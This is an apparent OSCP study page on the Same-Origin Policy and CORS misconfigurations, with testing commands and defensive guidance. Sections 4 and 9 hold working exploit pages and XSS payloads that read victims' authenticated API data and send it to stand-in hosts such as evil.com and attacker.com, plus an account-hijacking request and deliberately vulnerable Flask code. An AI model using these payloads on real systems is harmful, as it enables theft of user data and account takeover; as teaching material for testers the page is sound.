Domain 2Web App AttacksCORE

CORS and Same-Origin Policy

Same-Origin Policy and CORS mechanisms with misconfiguration attack vectors, reflective origin exploits, credential theft, and browser security bypass techniques for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#cors#same-origin-policy#xss#browser-security#oscp

CORS and Same-Origin Policy

1. Same-Origin Policy (SOP) Deep Dive

What is the Same-Origin Policy?

The Same-Origin Policy (SOP) is the most fundamental security mechanism in web browsers. It restricts how a document or script loaded from one origin can interact with resources from another origin.

Origin Definition

An origin is defined by the combination of:

Origin = Protocol + Host + Port

All three components must match for two URLs to share the same origin:

URL 1 URL 2 Same Origin? Reason
https://example.com:443/page1 https://example.com:443/page2 YES Same protocol, host, port
https://example.com/page http://example.com/page NO Different protocol
https://example.com/page https://evil.com/page NO Different host
https://example.com:443/page https://example.com:8080/page NO Different port
https://example.com/page https://www.example.com/page NO Different host (subdomain)
https://app.example.com/page https://api.example.com/page NO Different subdomain

What SOP Protects

SOP prevents cross-origin access to:

Resource Protected by SOP? Description
Cookies YES Cannot read cookies of other origins
DOM YES Cannot access DOM of cross-origin iframes
XHR/Fetch responses YES Cannot read responses from cross-origin requests
localStorage YES Cannot access localStorage of other origins
sessionStorage YES Cannot access sessionStorage of other origins
IndexedDB YES Cannot access IndexedDB of other origins
WebSockets Partially Can connect but subject to origin checks

SOP in Practice

// Page A: https://bank.com/account
// Page B: https://evil.com/attack.html (loads iframe to bank.com)

// In Page B's iframe context:
// These ALL fail due to SOP:

document.getElementById('bankIframe').contentWindow.document
// -> DOMAccessDeniedError

fetch('https://bank.com/api/balance')
// -> Response blocked (CORS error)

document.cookie // from bank.com context
// -> Access denied

SOP Exceptions (Allowed Cross-Origin)

Some resources can be loaded cross-origin without SOP restrictions:

<!-- These work cross-origin (intentional exceptions) -->
<img src="https://other-domain.com/image.png">
<link rel="stylesheet" href="https://other-domain.com/style.css">
<script src="https://other-domain.com/script.js"></script>
<iframe src="https://other-domain.com/page"></iframe>
<!-- Can load but cannot access content via JavaScript -->

2. CORS (Cross-Origin Resource Sharing) Mechanism

Why CORS Exists

CORS is a mechanism that safely relaxes SOP, allowing servers to explicitly permit cross-origin access to specific resources. Without CORS, legitimate cross-origin API calls (e.g., a frontend on app.example.com calling an API on api.example.com) would be blocked.

CORS Request Types

Simple Requests

A request is “simple” if ALL conditions are met:

  1. Method is GET, HEAD, or POST
  2. Headers are limited to: Accept, Accept-Language, Content-Language, Content-Type
  3. Content-Type is one of: application/x-www-form-urlencoded, multipart/form-data, text/plain

Simple requests go directly — no preflight needed.

Preflighted Requests

Any request NOT meeting simple request criteria triggers a preflight:

  1. Method is PUT, DELETE, PATCH, OPTIONS, etc.
  2. Custom headers are included (e.g., Authorization, X-Custom-Header)
  3. Content-Type is application/json or other non-simple types
  4. Request includes credentials (cookies, HTTP auth)

CORS Flow: Preflight Request

Step 1: Browser sends OPTIONS preflight
----------------------------------------
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type

Step 2: Server responds with CORS headers
------------------------------------------
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

Step 3: Browser sends actual request
--------------------------------------
POST /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Authorization: Bearer token123
Content-Type: application/json

{"key": "value"}

Step 4: Server responds with data
-----------------------------------
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com

{"result": "success"}

CORS Response Headers

Header Description Example
Access-Control-Allow-Origin Which origins are allowed https://app.example.com or *
Access-Control-Allow-Methods Which HTTP methods are allowed GET, POST, PUT, DELETE
Access-Control-Allow-Headers Which request headers are allowed Authorization, Content-Type
Access-Control-Allow-Credentials Whether credentials (cookies) are allowed true
Access-Control-Expose-Headers Which response headers the browser can expose X-Custom-Header
Access-Control-Max-Age How long to cache preflight result (seconds) 86400 (24 hours)

3. CORS Misconfigurations

3.1 Wildcard Origin (*)

Vulnerable Configuration:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Problem: When Access-Control-Allow-Credentials: true is set, the browser rejects * as the allowed origin. However, some servers incorrectly send both, and some older browsers may accept it.

More common vulnerability: Wildcard without credentials:

Access-Control-Allow-Origin: *

This allows any website to read the response (but not send cookies). Useful for data exfiltration when authentication is via URL parameters or tokens in headers that the attacker can inject.

3.2 Reflective Origin (Most Common OSCP Vulnerability)

Vulnerable Configuration: The server echoes back the Origin header value:

# Vulnerable server code (Python/Flask)
@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Attack: Attacker sets Origin: https://evil.com, server reflects it back:

Request from attacker's page:
Origin: https://evil.com

Server response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

The browser sees that the response allows https://evil.com and permits the attacker’s JavaScript to read the response — including sensitive data with the victim’s credentials.

3.3 Null Origin Allowance

Some servers allow null as an origin:

Access-Control-Allow-Origin: null

Attacker pages loaded from data: URIs or sandboxed iframes have an origin of null, allowing them to read responses.

3.4 Missing Preflight for Sensitive Methods

Server allows GET with wildcard but doesn’t properly preflight POST/PUT/DELETE:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: *

3.5 Scheme-Specific Misconfiguration

Server validates origin but only checks the domain, not the protocol:

# Vulnerable: only checks domain
allowed_origins = ["example.com"]
origin = request.headers.get('Origin', '')
if any(origin.endswith(allowed) for allowed in allowed_origins):
    response.headers['Access-Control-Allow-Origin'] = origin

Attack: Origin: http://evil.com.example.com passes the check (ends with example.com).


4. CORS Attack Examples

4.1 Data Exfiltration via Reflective Origin

Attacker’s Page (https://evil.com/attack.html):

<!DOCTYPE html>
<html>
<head>
    <title>CORS Attack</title>
</head>
<body>
    <h1>Extracting data...</h1>
    <pre id="output"></pre>

    <script>
        // Step 1: Fetch sensitive data from victim's API
        // The victim must be logged in on the target site
        fetch('https://target.com/api/user/profile', {
            method: 'GET',
            credentials: 'include',  // Send victim's cookies
            mode: 'cors'             // Enable CORS
        })
        .then(response => response.json())
        .then(data => {
            // Step 2: Display stolen data
            document.getElementById('output').textContent =
                JSON.stringify(data, null, 2);

            // Step 3: Exfiltrate to attacker's server
            fetch('https://evil.com/collect', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify(data)
            });
        })
        .catch(err => {
            document.getElementById('output').textContent =
                'CORS not misconfigured: ' + err;
        });
    </script>
</body>
</html>

4.2 Stealing API Tokens

// Attacker's JavaScript
fetch('https://target.com/api/account/balance', {
    method: 'GET',
    credentials: 'include',
    mode: 'cors'
})
.then(res => res.json())
.then(data => {
    // Exfiltrate sensitive data
    new Image().src = 'https://evil.com/steal?data=' +
        encodeURIComponent(JSON.stringify(data));
});

4.3 Modifying Data via CORS

// Attacker modifies victim's data
fetch('https://target.com/api/user/settings', {
    method: 'PUT',
    credentials: 'include',
    mode: 'cors',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        "email": "hijacked@attacker.com",
        "redirectUrl": "https://evil.com/phishing"
    })
});

4.4 CORS with Custom Headers

// If the API uses custom auth headers
fetch('https://target.com/api/admin/users', {
    method: 'GET',
    credentials: 'include',
    mode: 'cors',
    headers: {
        'X-API-Key': 'stolen-key-12345'
    }
})
.then(res => res.json())
.then(data => {
    // Exfiltrate admin data
    navigator.sendBeacon('https://evil.com/collect',
        JSON.stringify(data));
});

5. CORS Testing Methodology

Step 1: Identify CORS Headers

# Check CORS headers on a response
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/data

# Look for:
# Access-Control-Allow-Origin: https://evil.com  (VULNERABLE - reflective)
# Access-Control-Allow-Origin: *                 (WILDCARD)
# Access-Control-Allow-Credentials: true         (CREDENTIALS ALLOWED)

Step 2: Test with Different Origins

# Test with various origins
for origin in "https://evil.com" "https://attacker.com" "null" "http://target.com" "https://target.com.evil.com"; do
  echo "=== Testing Origin: $origin ==="
  curl -s -I -H "Origin: $origin" \
    https://target.com/api/data 2>/dev/null | \
    grep -i "access-control"
done

Step 3: Test Preflight

# Send OPTIONS preflight request
curl -s -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Authorization" \
  -H "Content-Type: application/json" \
  https://target.com/api/data -i

# Check response headers for:
# Access-Control-Allow-Origin
# Access-Control-Allow-Methods
# Access-Control-Allow-Headers
# Access-Control-Allow-Credentials

Step 4: Test with Credentials

# Test if credentials are allowed with wildcard
curl -s -I -H "Origin: https://evil.com" \
  -H "Cookie: session=abc123" \
  https://target.com/api/data -b "session=abc123"

# If both headers present, it's vulnerable:
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true

Step 5: Automated Testing

# cors-anything testing
python3 cors_tester.py --target https://target.com/api/data

# Burp Suite:
# 1. Send request to Repeater
# 2. Add Origin: https://evil.com header
# 3. Send and check response CORS headers
# 4. Try different origins and methods

6. CORS Vulnerability Detection Patterns

Pattern 1: Reflective Origin with Credentials

Request:
  Origin: https://evil.com

Response:
  Access-Control-Allow-Origin: https://evil.com
  Access-Control-Allow-Credentials: true

VERDICT: CRITICAL - Full data exfiltration possible

Pattern 2: Wildcard Origin

Response:
  Access-Control-Allow-Origin: *

VERDICT: MEDIUM - Data readable by any site (no credentials)

Pattern 3: Null Origin Allowed

Request:
  Origin: null

Response:
  Access-Control-Allow-Origin: null
  Access-Control-Allow-Credentials: true

VERDICT: HIGH - Data exfiltration via null-origin pages

Pattern 4: Subdomain Matching Flaw

Request:
  Origin: https://evil.com.target.com

Response:
  Access-Control-Allow-Origin: https://evil.com.target.com
  Access-Control-Allow-Credentials: true

VERDICT: HIGH - Domain suffix matching bypass

7. Tools for CORS Testing

Burp Suite

  1. Proxy — Intercept requests and add/modify Origin header
  2. Repeater — Manually test different origin values
  3. Intruder — Fuzz origin values with wordlists
  4. Scanner — Automated CORS misconfiguration detection

Command-Line Tools

# curl-based testing
curl -s -H "Origin: https://evil.com" -I https://target.com/api/data | \
  grep -i "access-control"

# Python CORS testing script
python3 -c "
import requests

target = 'https://target.com/api/data'
origins = [
    'https://evil.com',
    'https://attacker.com',
    'null',
    'http://target.com',
    'https://target.com.evil.com'
]

for origin in origins:
    resp = requests.options(target, headers={'Origin': origin})
    acao = resp.headers.get('Access-Control-Allow-Origin', 'N/A')
    acac = resp.headers.get('Access-Control-Allow-Credentials', 'N/A')
    print(f'Origin: {origin:30s} -> ACAO: {acao:30s} ACAC: {acac}')
"

Online Tools

  • cors-portal.com — Test CORS configuration
  • browserling.com — Cross-browser CORS testing

8. Defensive Strategies

Secure CORS Configuration

# Python/Flask - Secure implementation
ALLOWED_ORIGINS = {
    "https://app.example.com",
    "https://www.example.com"
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    return response

Wildcard Without Credentials

Access-Control-Allow-Origin: *
# Do NOT include Access-Control-Allow-Credentials: true

This is safe because browsers block credential inclusion with wildcard origin.

Security Headers to Complement CORS

Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

CORS Configuration Checklist

  • Never use * with Access-Control-Allow-Credentials: true
  • Use exact origin matching (not suffix matching)
  • Validate protocol (https only)
  • Limit allowed methods to what’s needed
  • Limit allowed headers to what’s needed
  • Set reasonable Access-Control-Max-Age
  • Log CORS violations for monitoring

9. OSCP Lab Scenarios

Scenario 1: Reflective Origin Data Theft

Setup: API endpoint /api/user/profile with reflective CORS.

# Step 1: Confirm CORS misconfiguration
curl -s -I -H "Origin: https://evil.com" \
  http://target.com/api/user/profile -b "session=valid_cookie"

# Response includes:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# Step 2: Create attacker page
cat > /tmp/cors_attack.html << 'HTMLEOF'
<html>
<body>
<pre id="out"></pre>
<script>
fetch('http://target.com/api/user/profile', {
  credentials: 'include',
  mode: 'cors'
})
.then(r => r.json())
.then(d => {
  document.getElementById('out').textContent = JSON.stringify(d, null, 2);
  new Image().src = 'http://attacker.com/steal?data=' +
    encodeURIComponent(JSON.stringify(d));
});
</script>
</body>
</html>
HTMLEOF

# Step 3: Host attacker page and get victim to visit while logged in

Scenario 2: CORS + XSS Combination

Setup: XSS vulnerability + CORS misconfiguration.

// XSS payload that exploits CORS
<script>
  fetch('https://target.com/api/admin/users', {
    credentials: 'include',
    mode: 'cors'
  })
  .then(r => r.json())
  .then(d => {
    // Exfiltrate admin user list
    new Image().src = 'https://evil.com/data?u=' +
      encodeURIComponent(JSON.stringify(d));
  });
</script>

Scenario 3: Null Origin Exploitation

# Test null origin
curl -s -I -H "Origin: null" http://target.com/api/data

# If vulnerable, exploit via data: URI
# <iframe src="data:text/html,<script>fetch('http://target.com/api/data',{credentials:'include',mode:'cors'}).then(r=>r.text()).then(t=>new Image().src='http://evil.com/?d='+t)</script>"></iframe>

10. Key Takeaways

For OSCP Exams

  1. Always check CORS headers — Use curl with different Origin values to test.
  2. Reflective origin is the most common lab vulnerability — The server echoes back whatever origin you send.
  3. Credentials + reflective origin = critical — This combination allows full data exfiltration with the victim’s session.
  4. Test null origin — Often overlooked but can be exploited.
  5. CORS + XSS = powerful combo — Use CORS to bypass SOP restrictions when you have XSS.
  6. Check subdomain matching — evil.com.target.com may pass flawed origin validation.
  7. OPTIONS preflight matters — Test preflight responses separately from actual requests.
  8. Document the misconfiguration — Show the request/response pair proving the vulnerability.

Essential Commands

# Quick CORS check
curl -s -I -H "Origin: https://evil.com" https://target.com/api/data | \
  grep -i "access-control"

# Full CORS test
for origin in "https://evil.com" "null" "*"; do
  echo "--- Origin: $origin ---"
  curl -s -I -H "Origin: $origin" https://target.com/api/data | \
    grep -i "access-control"
done

# Preflight test
curl -s -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Authorization" \
  https://target.com/api/data -i | \
  grep -i "access-control"

11. Summary

The Same-Origin Policy is the browser’s primary security boundary, and CORS is the mechanism that safely relaxes it. CORS misconfigurations are among the most common web application vulnerabilities found in OSCP labs. The reflective origin vulnerability — where the server echoes back the Origin header — is particularly dangerous when combined with Access-Control-Allow-Credentials: true, as it allows attackers to read authenticated responses from any origin.

Testing for CORS vulnerabilities is straightforward: send requests with different Origin values and examine the response headers. The key is systematic testing — check wildcard origins, reflective origins, null origins, and subdomain matching flaws. When combined with other vulnerabilities like XSS, CORS misconfigurations can lead to complete account takeover and sensitive data exfiltration.